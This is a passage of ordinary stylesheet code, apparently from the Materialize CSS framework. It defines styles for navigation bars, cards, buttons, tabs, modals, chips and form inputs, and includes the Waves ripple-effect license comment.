margin-left: 100%; } .row .col.pull-xl12 { right: 100%; } .row .col.push-xl12 { left: 100%; } } nav { color: #fff; background-color: #ee6e73; width: 100%; height: 56px; line-height: 56px; } nav.nav-extended { height: auto; } nav.nav-extended .nav-wrapper { min-height: 56px; height: auto; } nav.nav-extended .nav-content { position: relative; line-height: normal; } nav a { color: #fff; } nav i, nav [class^="mdi-"], nav [class*="mdi-"], nav i.material-icons { display: block; font-size: 24px; height: 56px; line-height: 56px; } nav .nav-wrapper { position: relative; height: 100%; } @media only screen and (min-width: 993px) { nav a.sidenav-trigger { display: none; } } nav .sidenav-trigger { float: left; position: relative; z-index: 1; height: 56px; margin: 0 18px; } nav .sidenav-trigger i { height: 56px; line-height: 56px; } nav .brand-logo { position: absolute; color: #fff; display: inline-block; font-size: 2.1rem; padding: 0; } nav .brand-logo.center { left: 50%; -webkit-transform: translateX(-50%); transform: translateX(-50%); } @media only screen and (max-width: 992px) { nav .brand-logo { left: 50%; -webkit-transform: translateX(-50%); transform: translateX(-50%); } nav .brand-logo.left, nav .brand-logo.right { padding: 0; -webkit-transform: none; transform: none; } nav .brand-logo.left { left: 0.5rem; } nav .brand-logo.right { right: 0.5rem; left: auto; } } nav .brand-logo.right { right: 0.5rem; padding: 0; } nav .brand-logo i, nav .brand-logo [class^="mdi-"], nav .brand-logo [class*="mdi-"], nav .brand-logo i.material-icons { float: left; margin-right: 15px; } nav .nav-title { display: inline-block; font-size: 32px; padding: 28px 0; } nav ul { margin: 0; } nav ul li { -webkit-transition: background-color .3s; transition: background-color .3s; float: left; padding: 0; } nav ul li.active { background-color: rgba(0, 0, 0, 0.1); } nav ul a { -webkit-transition: background-color .3s; transition: background-color .3s; font-size: 1rem; color: #fff; display: block; padding: 0 15px; cursor: pointer; } nav ul a.btn, nav ul a.btn-large, nav ul a.btn-small, nav ul a.btn-large, nav ul a.btn-flat, nav ul a.btn-floating { margin-top: -2px; margin-left: 15px; margin-right: 15px; } nav ul a.btn > .material-icons, nav ul a.btn-large > .material-icons, nav ul a.btn-small > .material-icons, nav ul a.btn-large > .material-icons, nav ul a.btn-flat > .material-icons, nav ul a.btn-floating > .material-icons { height: inherit; line-height: inherit; } nav ul a:hover { background-color: rgba(0, 0, 0, 0.1); } nav ul.left { float: left; } nav form { height: 100%; } nav .input-field { margin: 0; height: 100%; } nav .input-field input { height: 100%; font-size: 1.2rem; border: none; padding-left: 2rem; } nav .input-field input:focus, nav .input-field input[type=text]:valid, nav .input-field input[type=password]:valid, nav .input-field input[type=email]:valid, nav .input-field input[type=url]:valid, nav .input-field input[type=date]:valid { border: none; -webkit-box-shadow: none; box-shadow: none; } nav .input-field label { top: 0; left: 0; } nav .input-field label i { color: rgba(255, 255, 255, 0.7); -webkit-transition: color .3s; transition: color .3s; } nav .input-field label.active i { color: #fff; } .navbar-fixed { position: relative; height: 56px; z-index: 997; } .navbar-fixed nav { position: fixed; } @media only screen and (min-width: 601px) { nav.nav-extended .nav-wrapper { min-height: 64px; } nav, nav .nav-wrapper i, nav a.sidenav-trigger, nav a.sidenav-trigger i { height: 64px; line-height: 64px; } .navbar-fixed { height: 64px; } } a { text-decoration: none; } html { line-height: 1.5; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; font-weight: normal; color: rgba(0, 0, 0, 0.87); } @media only screen and (min-width: 0) { html { font-size: 14px; } } @media only screen and (min-width: 992px) { html { font-size: 14.5px; } } @media only screen and (min-width: 1200px) { html { font-size: 15px; } } h1, h2, h3, h4, h5, h6 { font-weight: 400; line-height: 1.3; } h1 a, h2 a, h3 a, h4 a, h5 a, h6 a { font-weight: inherit; } h1 { font-size: 4.2rem; line-height: 110%; margin: 2.8rem 0 1.68rem 0; } h2 { font-size: 3.56rem; line-height: 110%; margin: 2.3733333333rem 0 1.424rem 0; } h3 { font-size: 2.92rem; line-height: 110%; margin: 1.9466666667rem 0 1.168rem 0; } h4 { font-size: 2.28rem; line-height: 110%; margin: 1.52rem 0 0.912rem 0; } h5 { font-size: 1.64rem; line-height: 110%; margin: 1.0933333333rem 0 0.656rem 0; } h6 { font-size: 1.15rem; line-height: 110%; margin: 0.7666666667rem 0 0.46rem 0; } em { font-style: italic; } strong { font-weight: 500; } small { font-size: 75%; } .light { font-weight: 300; } .thin { font-weight: 200; } @media only screen and (min-width: 360px) { .flow-text { font-size: 1.2rem; } } @media only screen and (min-width: 390px) { .flow-text { font-size: 1.224rem; } } @media only screen and (min-width: 420px) { .flow-text { font-size: 1.248rem; } } @media only screen and (min-width: 450px) { .flow-text { font-size: 1.272rem; } } @media only screen and (min-width: 480px) { .flow-text { font-size: 1.296rem; } } @media only screen and (min-width: 510px) { .flow-text { font-size: 1.32rem; } } @media only screen and (min-width: 540px) { .flow-text { font-size: 1.344rem; } } @media only screen and (min-width: 570px) { .flow-text { font-size: 1.368rem; } } @media only screen and (min-width: 600px) { .flow-text { font-size: 1.392rem; } } @media only screen and (min-width: 630px) { .flow-text { font-size: 1.416rem; } } @media only screen and (min-width: 660px) { .flow-text { font-size: 1.44rem; } } @media only screen and (min-width: 690px) { .flow-text { font-size: 1.464rem; } } @media only screen and (min-width: 720px) { .flow-text { font-size: 1.488rem; } } @media only screen and (min-width: 750px) { .flow-text { font-size: 1.512rem; } } @media only screen and (min-width: 780px) { .flow-text { font-size: 1.536rem; } } @media only screen and (min-width: 810px) { .flow-text { font-size: 1.56rem; } } @media only screen and (min-width: 840px) { .flow-text { font-size: 1.584rem; } } @media only screen and (min-width: 870px) { .flow-text { font-size: 1.608rem; } } @media only screen and (min-width: 900px) { .flow-text { font-size: 1.632rem; } } @media only screen and (min-width: 930px) { .flow-text { font-size: 1.656rem; } } @media only screen and (min-width: 960px) { .flow-text { font-size: 1.68rem; } } @media only screen and (max-width: 360px) { .flow-text { font-size: 1.2rem; } } .scale-transition { -webkit-transition: -webkit-transform 0.3s cubic-bezier(0.53, 0.01, 0.36, 1.63) !important; transition: -webkit-transform 0.3s cubic-bezier(0.53, 0.01, 0.36, 1.63) !important; transition: transform 0.3s cubic-bezier(0.53, 0.01, 0.36, 1.63) !important; transition: transform 0.3s cubic-bezier(0.53, 0.01, 0.36, 1.63), -webkit-transform 0.3s cubic-bezier(0.53, 0.01, 0.36, 1.63) !important; } .scale-transition.scale-out { -webkit-transform: scale(0); transform: scale(0); -webkit-transition: -webkit-transform .2s !important; transition: -webkit-transform .2s !important; transition: transform .2s !important; transition: transform .2s, -webkit-transform .2s !important; } .scale-transition.scale-in { -webkit-transform: scale(1); transform: scale(1); } .card-panel { -webkit-transition: -webkit-box-shadow .25s; transition: -webkit-box-shadow .25s; transition: box-shadow .25s; transition: box-shadow .25s, -webkit-box-shadow .25s; padding: 24px; margin: 0.5rem 0 1rem 0; border-radius: 2px; background-color: #fff; } .card { position: relative; margin: 0.5rem 0 1rem 0; background-color: #fff; -webkit-transition: -webkit-box-shadow .25s; transition: -webkit-box-shadow .25s; transition: box-shadow .25s; transition: box-shadow .25s, -webkit-box-shadow .25s; border-radius: 2px; } .card .card-title { font-size: 24px; font-weight: 300; } .card .card-title.activator { cursor: pointer; } .card.small, .card.medium, .card.large { position: relative; } .card.small .card-image, .card.medium .card-image, .card.large .card-image { max-height: 60%; overflow: hidden; } .card.small .card-image + .card-content, .card.medium .card-image + .card-content, .card.large .card-image + .card-content { max-height: 40%; } .card.small .card-content, .card.medium .card-content, .card.large .card-content { max-height: 100%; overflow: hidden; } .card.small .card-action, .card.medium .card-action, .card.large .card-action { position: absolute; bottom: 0; left: 0; right: 0; } .card.small { height: 300px; } .card.medium { height: 400px; } .card.large { height: 500px; } .card.horizontal { display: -webkit-box; display: -webkit-flex; display: -ms-flexbox; display: flex; } .card.horizontal.small .card-image, .card.horizontal.medium .card-image, .card.horizontal.large .card-image { height: 100%; max-height: none; overflow: visible; } .card.horizontal.small .card-image img, .card.horizontal.medium .card-image img, .card.horizontal.large .card-image img { height: 100%; } .card.horizontal .card-image { max-width: 50%; } .card.horizontal .card-image img { border-radius: 2px 0 0 2px; max-width: 100%; width: auto; } .card.horizontal .card-stacked { display: -webkit-box; display: -webkit-flex; display: -ms-flexbox; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; -webkit-flex-direction: column; -ms-flex-direction: column; flex-direction: column; -webkit-box-flex: 1; -webkit-flex: 1; -ms-flex: 1; flex: 1; position: relative; } .card.horizontal .card-stacked .card-content { -webkit-box-flex: 1; -webkit-flex-grow: 1; -ms-flex-positive: 1; flex-grow: 1; } .card.sticky-action .card-action { z-index: 2; } .card.sticky-action .card-reveal { z-index: 1; padding-bottom: 64px; } .card .card-image { position: relative; } .card .card-image img { display: block; border-radius: 2px 2px 0 0; position: relative; left: 0; right: 0; top: 0; bottom: 0; width: 100%; } .card .card-image .card-title { color: #fff; position: absolute; bottom: 0; left: 0; max-width: 100%; padding: 24px; } .card .card-content { padding: 24px; border-radius: 0 0 2px 2px; } .card .card-content p { margin: 0; } .card .card-content .card-title { display: block; line-height: 32px; margin-bottom: 8px; } .card .card-content .card-title i { line-height: 32px; } .card .card-action { background-color: inherit; border-top: 1px solid rgba(160, 160, 160, 0.2); position: relative; padding: 16px 24px; } .card .card-action:last-child { border-radius: 0 0 2px 2px; } .card .card-action a:not(.btn):not(.btn-large):not(.btn-small):not(.btn-large):not(.btn-floating) { color: #ffab40; margin-right: 24px; -webkit-transition: color .3s ease; transition: color .3s ease; text-transform: uppercase; } .card .card-action a:not(.btn):not(.btn-large):not(.btn-small):not(.btn-large):not(.btn-floating):hover { color: #ffd8a6; } .card .card-reveal { padding: 24px; position: absolute; background-color: #fff; width: 100%; overflow-y: auto; left: 0; top: 100%; height: 100%; z-index: 3; display: none; } .card .card-reveal .card-title { cursor: pointer; display: block; } #toast-container { display: block; position: fixed; z-index: 10000; } @media only screen and (max-width: 600px) { #toast-container { min-width: 100%; bottom: 0%; } } @media only screen and (min-width: 601px) and (max-width: 992px) { #toast-container { left: 5%; bottom: 7%; max-width: 90%; } } @media only screen and (min-width: 993px) { #toast-container { top: 10%; right: 7%; max-width: 86%; } } .toast { border-radius: 2px; top: 35px; width: auto; margin-top: 10px; position: relative; max-width: 100%; height: auto; min-height: 48px; line-height: 1.5em; background-color: #323232; padding: 10px 25px; font-size: 1.1rem; font-weight: 300; color: #fff; display: -webkit-box; display: -webkit-flex; display: -ms-flexbox; display: flex; -webkit-box-align: center; -webkit-align-items: center; -ms-flex-align: center; align-items: center; -webkit-box-pack: justify; -webkit-justify-content: space-between; -ms-flex-pack: justify; justify-content: space-between; cursor: default; } .toast .toast-action { color: #eeff41; font-weight: 500; margin-right: -25px; margin-left: 3rem; } .toast.rounded { border-radius: 24px; } @media only screen and (max-width: 600px) { .toast { width: 100%; border-radius: 0; } } .tabs { position: relative; overflow-x: auto; overflow-y: hidden; height: 48px; width: 100%; background-color: #fff; margin: 0 auto; white-space: nowrap; } .tabs.tabs-transparent { background-color: transparent; } .tabs.tabs-transparent .tab a, .tabs.tabs-transparent .tab.disabled a, .tabs.tabs-transparent .tab.disabled a:hover { color: rgba(255, 255, 255, 0.7); } .tabs.tabs-transparent .tab a:hover, .tabs.tabs-transparent .tab a.active { color: #fff; } .tabs.tabs-transparent .indicator { background-color: #fff; } .tabs.tabs-fixed-width { display: -webkit-box; display: -webkit-flex; display: -ms-flexbox; display: flex; } .tabs.tabs-fixed-width .tab { -webkit-box-flex: 1; -webkit-flex-grow: 1; -ms-flex-positive: 1; flex-grow: 1; } .tabs .tab { display: inline-block; text-align: center; line-height: 48px; height: 48px; padding: 0; margin: 0; text-transform: uppercase; } .tabs .tab a { color: rgba(238, 110, 115, 0.7); display: block; width: 100%; height: 100%; padding: 0 24px; font-size: 14px; text-overflow: ellipsis; overflow: hidden; -webkit-transition: color .28s ease, background-color .28s ease; transition: color .28s ease, background-color .28s ease; } .tabs .tab a:focus, .tabs .tab a:focus.active { background-color: rgba(246, 178, 181, 0.2); outline: none; } .tabs .tab a:hover, .tabs .tab a.active { background-color: transparent; color: #ee6e73; } .tabs .tab.disabled a, .tabs .tab.disabled a:hover { color: rgba(238, 110, 115, 0.4); cursor: default; } .tabs .indicator { position: absolute; bottom: 0; height: 2px; background-color: #f6b2b5; will-change: left, right; } @media only screen and (max-width: 992px) { .tabs { display: -webkit-box; display: -webkit-flex; display: -ms-flexbox; display: flex; } .tabs .tab { -webkit-box-flex: 1; -webkit-flex-grow: 1; -ms-flex-positive: 1; flex-grow: 1; } .tabs .tab a { padding: 0 12px; } } .material-tooltip { padding: 10px 8px; font-size: 1rem; z-index: 2000; background-color: transparent; border-radius: 2px; color: #fff; min-height: 36px; line-height: 120%; opacity: 0; position: absolute; text-align: center; max-width: calc(100% - 4px); overflow: hidden; left: 0; top: 0; pointer-events: none; visibility: hidden; background-color: #323232; } .backdrop { position: absolute; opacity: 0; height: 7px; width: 14px; border-radius: 0 0 50% 50%; background-color: #323232; z-index: -1; -webkit-transform-origin: 50% 0%; transform-origin: 50% 0%; visibility: hidden; } .btn, .btn-large, .btn-small, .btn-flat { border: none; border-radius: 2px; display: inline-block; height: 36px; line-height: 36px; padding: 0 16px; text-transform: uppercase; vertical-align: middle; -webkit-tap-highlight-color: transparent; } .btn.disabled, .disabled.btn-large, .disabled.btn-small, .btn-floating.disabled, .btn-large.disabled, .btn-small.disabled, .btn-flat.disabled, .btn:disabled, .btn-large:disabled, .btn-small:disabled, .btn-floating:disabled, .btn-large:disabled, .btn-small:disabled, .btn-flat:disabled, .btn[disabled], [disabled].btn-large, [disabled].btn-small, .btn-floating[disabled], .btn-large[disabled], .btn-small[disabled], .btn-flat[disabled] { pointer-events: none; background-color: #DFDFDF !important; -webkit-box-shadow: none; box-shadow: none; color: #9F9F9F !important; cursor: default; } .btn.disabled:hover, .disabled.btn-large:hover, .disabled.btn-small:hover, .btn-floating.disabled:hover, .btn-large.disabled:hover, .btn-small.disabled:hover, .btn-flat.disabled:hover, .btn:disabled:hover, .btn-large:disabled:hover, .btn-small:disabled:hover, .btn-floating:disabled:hover, .btn-large:disabled:hover, .btn-small:disabled:hover, .btn-flat:disabled:hover, .btn[disabled]:hover, [disabled].btn-large:hover, [disabled].btn-small:hover, .btn-floating[disabled]:hover, .btn-large[disabled]:hover, .btn-small[disabled]:hover, .btn-flat[disabled]:hover { background-color: #DFDFDF !important; color: #9F9F9F !important; } .btn, .btn-large, .btn-small, .btn-floating, .btn-large, .btn-small, .btn-flat { font-size: 14px; outline: 0; } .btn i, .btn-large i, .btn-small i, .btn-floating i, .btn-large i, .btn-small i, .btn-flat i { font-size: 1.3rem; line-height: inherit; } .btn:focus, .btn-large:focus, .btn-small:focus, .btn-floating:focus { background-color: #1d7d74; } .btn, .btn-large, .btn-small { text-decoration: none; color: #fff; background-color: #26a69a; text-align: center; letter-spacing: .5px; -webkit-transition: background-color .2s ease-out; transition: background-color .2s ease-out; cursor: pointer; } .btn:hover, .btn-large:hover, .btn-small:hover { background-color: #2bbbad; } .btn-floating { display: inline-block; color: #fff; position: relative; overflow: hidden; z-index: 1; width: 40px; height: 40px; line-height: 40px; padding: 0; background-color: #26a69a; border-radius: 50%; -webkit-transition: background-color .3s; transition: background-color .3s; cursor: pointer; vertical-align: middle; } .btn-floating:hover { background-color: #26a69a; } .btn-floating:before { border-radius: 0; } .btn-floating.btn-large { width: 56px; height: 56px; padding: 0; } .btn-floating.btn-large.halfway-fab { bottom: -28px; } .btn-floating.btn-large i { line-height: 56px; } .btn-floating.btn-small { width: 32.4px; height: 32.4px; } .btn-floating.btn-small.halfway-fab { bottom: -16.2px; } .btn-floating.btn-small i { line-height: 32.4px; } .btn-floating.halfway-fab { position: absolute; right: 24px; bottom: -20px; } .btn-floating.halfway-fab.left { right: auto; left: 24px; } .btn-floating i { width: inherit; display: inline-block; text-align: center; color: #fff; font-size: 1.6rem; line-height: 40px; } button.btn-floating { border: none; } .fixed-action-btn { position: fixed; right: 23px; bottom: 23px; padding-top: 15px; margin-bottom: 0; z-index: 997; } .fixed-action-btn.active ul { visibility: visible; } .fixed-action-btn.direction-left, .fixed-action-btn.direction-right { padding: 0 0 0 15px; } .fixed-action-btn.direction-left ul, .fixed-action-btn.direction-right ul { text-align: right; right: 64px; top: 50%; -webkit-transform: translateY(-50%); transform: translateY(-50%); height: 100%; left: auto; /*width 100% only goes to width of button container */ width: 500px; } .fixed-action-btn.direction-left ul li, .fixed-action-btn.direction-right ul li { display: inline-block; margin: 7.5px 15px 0 0; } .fixed-action-btn.direction-right { padding: 0 15px 0 0; } .fixed-action-btn.direction-right ul { text-align: left; direction: rtl; left: 64px; right: auto; } .fixed-action-btn.direction-right ul li { margin: 7.5px 0 0 15px; } .fixed-action-btn.direction-bottom { padding: 0 0 15px 0; } .fixed-action-btn.direction-bottom ul { top: 64px; bottom: auto; display: -webkit-box; display: -webkit-flex; display: -ms-flexbox; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: reverse; -webkit-flex-direction: column-reverse; -ms-flex-direction: column-reverse; flex-direction: column-reverse; } .fixed-action-btn.direction-bottom ul li { margin: 15px 0 0 0; } .fixed-action-btn.toolbar { padding: 0; height: 56px; } .fixed-action-btn.toolbar.active > a i { opacity: 0; } .fixed-action-btn.toolbar ul { display: -webkit-box; display: -webkit-flex; display: -ms-flexbox; display: flex; top: 0; bottom: 0; z-index: 1; } .fixed-action-btn.toolbar ul li { -webkit-box-flex: 1; -webkit-flex: 1; -ms-flex: 1; flex: 1; display: inline-block; margin: 0; height: 100%; -webkit-transition: none; transition: none; } .fixed-action-btn.toolbar ul li a { display: block; overflow: hidden; position: relative; width: 100%; height: 100%; background-color: transparent; -webkit-box-shadow: none; box-shadow: none; color: #fff; line-height: 56px; z-index: 1; } .fixed-action-btn.toolbar ul li a i { line-height: inherit; } .fixed-action-btn ul { left: 0; right: 0; text-align: center; position: absolute; bottom: 64px; margin: 0; visibility: hidden; } .fixed-action-btn ul li { margin-bottom: 15px; } .fixed-action-btn ul a.btn-floating { opacity: 0; } .fixed-action-btn .fab-backdrop { position: absolute; top: 0; left: 0; z-index: -1; width: 40px; height: 40px; background-color: #26a69a; border-radius: 50%; -webkit-transform: scale(0); transform: scale(0); } .btn-flat { -webkit-box-shadow: none; box-shadow: none; background-color: transparent; color: #343434; cursor: pointer; -webkit-transition: background-color .2s; transition: background-color .2s; } .btn-flat:focus, .btn-flat:hover { -webkit-box-shadow: none; box-shadow: none; } .btn-flat:focus { background-color: rgba(0, 0, 0, 0.1); } .btn-flat.disabled, .btn-flat.btn-flat[disabled] { background-color: transparent !important; color: #b3b2b2 !important; cursor: default; } .btn-large { height: 54px; line-height: 54px; font-size: 15px; padding: 0 28px; } .btn-large i { font-size: 1.6rem; } .btn-small { height: 32.4px; line-height: 32.4px; font-size: 13px; } .btn-small i { font-size: 1.2rem; } .btn-block { display: block; } .dropdown-content { background-color: #fff; margin: 0; display: none; min-width: 100px; overflow-y: auto; opacity: 0; position: absolute; left: 0; top: 0; z-index: 9999; -webkit-transform-origin: 0 0; transform-origin: 0 0; } .dropdown-content:focus { outline: 0; } .dropdown-content li { clear: both; color: rgba(0, 0, 0, 0.87); cursor: pointer; min-height: 50px; line-height: 1.5rem; width: 100%; text-align: left; } .dropdown-content li:hover, .dropdown-content li.active { background-color: #eee; } .dropdown-content li:focus { outline: none; } .dropdown-content li.divider { min-height: 0; height: 1px; } .dropdown-content li > a, .dropdown-content li > span { font-size: 16px; color: #26a69a; display: block; line-height: 22px; padding: 14px 16px; } .dropdown-content li > span > label { top: 1px; left: 0; height: 18px; } .dropdown-content li > a > i { height: inherit; line-height: inherit; float: left; margin: 0 24px 0 0; width: 24px; } body.keyboard-focused .dropdown-content li:focus { background-color: #dadada; } .input-field.col .dropdown-content [type="checkbox"] + label { top: 1px; left: 0; height: 18px; -webkit-transform: none; transform: none; } .dropdown-trigger { cursor: pointer; } /*! * Waves v0.6.0 * http://fian.my.id/Waves * * Copyright 2014 Alfiana E. Sibuea and other contributors * Released under the MIT license * https://github.com/fians/Waves/blob/master/LICENSE */ .waves-effect { position: relative; cursor: pointer; display: inline-block; overflow: hidden; -webkit-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; -webkit-tap-highlight-color: transparent; vertical-align: middle; z-index: 1; -webkit-transition: .3s ease-out; transition: .3s ease-out; } .waves-effect .waves-ripple { position: absolute; border-radius: 50%; width: 20px; height: 20px; margin-top: -10px; margin-left: -10px; opacity: 0; background: rgba(0, 0, 0, 0.2); -webkit-transition: all 0.7s ease-out; transition: all 0.7s ease-out; -webkit-transition-property: opacity, -webkit-transform; transition-property: opacity, -webkit-transform; transition-property: transform, opacity; transition-property: transform, opacity, -webkit-transform; -webkit-transform: scale(0); transform: scale(0); pointer-events: none; } .waves-effect.waves-light .waves-ripple { background-color: rgba(255, 255, 255, 0.45); } .waves-effect.waves-red .waves-ripple { background-color: rgba(244, 67, 54, 0.7); } .waves-effect.waves-yellow .waves-ripple { background-color: rgba(255, 235, 59, 0.7); } .waves-effect.waves-orange .waves-ripple { background-color: rgba(255, 152, 0, 0.7); } .waves-effect.waves-purple .waves-ripple { background-color: rgba(156, 39, 176, 0.7); } .waves-effect.waves-green .waves-ripple { background-color: rgba(76, 175, 80, 0.7); } .waves-effect.waves-teal .waves-ripple { background-color: rgba(0, 150, 136, 0.7); } .waves-effect input[type="button"], .waves-effect input[type="reset"], .waves-effect input[type="submit"] { border: 0; font-style: normal; font-size: inherit; text-transform: inherit; background: none; } .waves-effect img { position: relative; z-index: -1; } .waves-notransition { -webkit-transition: none !important; transition: none !important; } .waves-circle { -webkit-transform: translateZ(0); transform: translateZ(0); -webkit-mask-image: -webkit-radial-gradient(circle, white 100%, black 100%); } .waves-input-wrapper { border-radius: 0.2em; vertical-align: bottom; } .waves-input-wrapper .waves-button-input { position: relative; top: 0; left: 0; z-index: 1; } .waves-circle { text-align: center; width: 2.5em; height: 2.5em; line-height: 2.5em; border-radius: 50%; -webkit-mask-image: none; } .waves-block { display: block; } /* Firefox Bug: link not triggered */ .waves-effect .waves-ripple { z-index: -1; } .modal { display: none; position: fixed; left: 0; right: 0; background-color: #fafafa; padding: 0; max-height: 70%; width: 55%; margin: auto; overflow-y: auto; border-radius: 2px; will-change: top, opacity; } @media only screen and (max-width: 992px) { .modal { width: 80%; } } .modal h1, .modal h2, .modal h3, .modal h4 { margin-top: 0; } .modal .modal-content { padding: 24px; } .modal .modal-close { cursor: pointer; } .modal .modal-footer { border-radius: 0 0 2px 2px; background-color: #fafafa; padding: 4px 6px; height: 56px; width: 100%; text-align: right; } .modal .modal-footer .btn, .modal .modal-footer .btn-large, .modal .modal-footer .btn-small, .modal .modal-footer .btn-flat { margin: 6px 0; } .modal-overlay { position: fixed; z-index: 999; top: -25%; left: 0; bottom: 0; right: 0; height: 125%; width: 100%; background: #000; display: none; will-change: opacity; } .modal.modal-fixed-footer { padding: 0; height: 70%; } .modal.modal-fixed-footer .modal-content { position: absolute; height: calc(100% - 56px); max-height: 100%; width: 100%; overflow-y: auto; } .modal.modal-fixed-footer .modal-footer { border-top: 1px solid rgba(0, 0, 0, 0.1); position: absolute; bottom: 0; } .modal.bottom-sheet { top: auto; bottom: -100%; margin: 0; width: 100%; max-height: 45%; border-radius: 0; will-change: bottom, opacity; } .collapsible { border-top: 1px solid #ddd; border-right: 1px solid #ddd; border-left: 1px solid #ddd; margin: 0.5rem 0 1rem 0; } .collapsible-header { display: -webkit-box; display: -webkit-flex; display: -ms-flexbox; display: flex; cursor: pointer; -webkit-tap-highlight-color: transparent; line-height: 1.5; padding: 1rem; background-color: #fff; border-bottom: 1px solid #ddd; } .collapsible-header:focus { outline: 0; } .collapsible-header i { width: 2rem; font-size: 1.6rem; display: inline-block; text-align: center; margin-right: 1rem; } .keyboard-focused .collapsible-header:focus { background-color: #eee; } .collapsible-body { display: none; border-bottom: 1px solid #ddd; -webkit-box-sizing: border-box; box-sizing: border-box; padding: 2rem; } .sidenav .collapsible, .sidenav.fixed .collapsible { border: none; -webkit-box-shadow: none; box-shadow: none; } .sidenav .collapsible li, .sidenav.fixed .collapsible li { padding: 0; } .sidenav .collapsible-header, .sidenav.fixed .collapsible-header { background-color: transparent; border: none; line-height: inherit; height: inherit; padding: 0 16px; } .sidenav .collapsible-header:hover, .sidenav.fixed .collapsible-header:hover { background-color: rgba(0, 0, 0, 0.05); } .sidenav .collapsible-header i, .sidenav.fixed .collapsible-header i { line-height: inherit; } .sidenav .collapsible-body, .sidenav.fixed .collapsible-body { border: 0; background-color: #fff; } .sidenav .collapsible-body li a, .sidenav.fixed .collapsible-body li a { padding: 0 23.5px 0 31px; } .collapsible.popout { border: none; -webkit-box-shadow: none; box-shadow: none; } .collapsible.popout > li { -webkit-box-shadow: 0 2px 5px 0 rgba(0, 0, 0, 0.16), 0 2px 10px 0 rgba(0, 0, 0, 0.12); box-shadow: 0 2px 5px 0 rgba(0, 0, 0, 0.16), 0 2px 10px 0 rgba(0, 0, 0, 0.12); margin: 0 24px; -webkit-transition: margin 0.35s cubic-bezier(0.25, 0.46, 0.45, 0.94); transition: margin 0.35s cubic-bezier(0.25, 0.46, 0.45, 0.94); } .collapsible.popout > li.active { -webkit-box-shadow: 0 5px 11px 0 rgba(0, 0, 0, 0.18), 0 4px 15px 0 rgba(0, 0, 0, 0.15); box-shadow: 0 5px 11px 0 rgba(0, 0, 0, 0.18), 0 4px 15px 0 rgba(0, 0, 0, 0.15); margin: 16px 0; } .chip { display: inline-block; height: 32px; font-size: 13px; font-weight: 500; color: rgba(0, 0, 0, 0.6); line-height: 32px; padding: 0 12px; border-radius: 16px; background-color: #e4e4e4; margin-bottom: 5px; margin-right: 5px; } .chip:focus { outline: none; background-color: #26a69a; color: #fff; } .chip > img { float: left; margin: 0 8px 0 -12px; height: 32px; width: 32px; border-radius: 50%; } .chip .close { cursor: pointer; float: right; font-size: 16px; line-height: 32px; padding-left: 8px; } .chips { border: none; border-bottom: 1px solid #9e9e9e; -webkit-box-shadow: none; box-shadow: none; margin: 0 0 8px 0; min-height: 45px; outline: none; -webkit-transition: all .3s; transition: all .3s; } .chips.focus { border-bottom: 1px solid #26a69a; -webkit-box-shadow: 0 1px 0 0 #26a69a; box-shadow: 0 1px 0 0 #26a69a; } .chips:hover { cursor: text; } .chips .input { background: none; border: 0; color: rgba(0, 0, 0, 0.6); display: inline-block; font-size: 16px; height: 3rem; line-height: 32px; outline: 0; margin: 0; padding: 0 !important; width: 120px !important; } .chips .input:focus { border: 0 !important; -webkit-box-shadow: none !important; box-shadow: none !important; } .chips .autocomplete-content { margin-top: 0; margin-bottom: 0; } .prefix ~ .chips { margin-left: 3rem; width: 92%; width: calc(100% - 3rem); } .chips:empty ~ label { font-size: 0.8rem; -webkit-transform: translateY(-140%); transform: translateY(-140%); } .materialboxed { display: block; cursor: -webkit-zoom-in; cursor: zoom-in; position: relative; -webkit-transition: opacity .4s; transition: opacity .4s; -webkit-backface-visibility: hidden; } .materialboxed:hover:not(.active) { opacity: .8; } .materialboxed.active { cursor: -webkit-zoom-out; cursor: zoom-out; } #materialbox-overlay { position: fixed; top: 0; right: 0; bottom: 0; left: 0; background-color: #292929; z-index: 1000; will-change: opacity; } .materialbox-caption { position: fixed; display: none; color: #fff; line-height: 50px; bottom: 0; left: 0; width: 100%; text-align: center; padding: 0% 15%; height: 50px; z-index: 1000; -webkit-font-smoothing: antialiased; } select:focus { outline: 1px solid #c9f3ef; } button:focus { outline: none; background-color: #2ab7a9; } label { font-size: 0.8rem; color: #9e9e9e; } /* Text Inputs + Textarea ========================================================================== */ /* Style Placeholders */ ::-webkit-input-placeholder { color: #d1d1d1; } ::-moz-placeholder { color: #d1d1d1; } :-ms-input-placeholder { color: #d1d1d1; } ::placeholder { color: #d1d1d1; } /* Text inputs */ input:not([type]), input[type=text]:not(.browser-default), input[type=password]:not(.browser-default), input[type=email]:not(.browser-default), input[type=url]:not(.browser-default), input[type=time]:not(.browser-default), input[type=date]:not(.browser-default), input[type=datetime]:not(.browser-default), input[type=datetime-local]:not(.browser-default), input[type=tel]:not(.browser-default), input[type=number]:not(.browser-default), input[type=search]:not(.browser-default), textarea.materialize-textarea { background-color: transparent; border: none; border-bottom: 1px solid #9e9e9e; border-radius: 0; outline: none; height: 3rem; width: 100%; font-size: 16px; margin: 0 0 8px 0; padding: 0; -webkit-box-shadow: none; box-shadow: none; -webkit-box-sizing: content-box; box-sizing: content-box; -webkit-transition: border .3s, -webkit-box-shadow .3s; transition: border .3s, -webkit-box-shadow .3s; transition: box-shadow .3s, border .3s; transition: box-shadow .3s, border .3s, -webkit-box-shadow .3s; } input:not([type]):disabled, input:not([type])[readonly="readonly"], input[type=text]:not(.browser-default):disabled, input[type=text]:not(.browser-default)[readonly="readonly"], input[type=password]:not(.browser-default):disabled, input[type=password]:not(.browser-default)[readonly="readonly"], input[type=email]:not(.browser-default):disabled, input[type=email]:not(.browser-default)[readonly="readonly"], input[type=url]:not(.browser-default):disabled, input[type=url]:not(.browser-default)[readonly="readonly"], input[type=time]:not(.browser-default):disabled, input[type=time]:not(.browser-default)[readonly="readonly"], input[type=date]:not(.browser-default):disabled, input[type=date]:not(.browser-default)[readonly="readonly"], input[type=datetime]:not(.browser-default):disabled, input[type=datetime]:not(.browser-default)[readonly="readonly"], input[type=datetime-local]:not(.browser-default):disabled, input[type=datetime-local]:not(.browser-default)[readonly="readonly"], input[type=tel]:not(.browser-default):disabled, input[type=tel]:not(.browser-default)[readonly="readonly"], input[type=number]:not(.browser-default):disabled, input[type=number]:not(.browser-default)[readonly="readonly"], input[type=search]:not(.browser-default):disabled, input[type=search]:not(.browser-default)[readonly="readonly"], 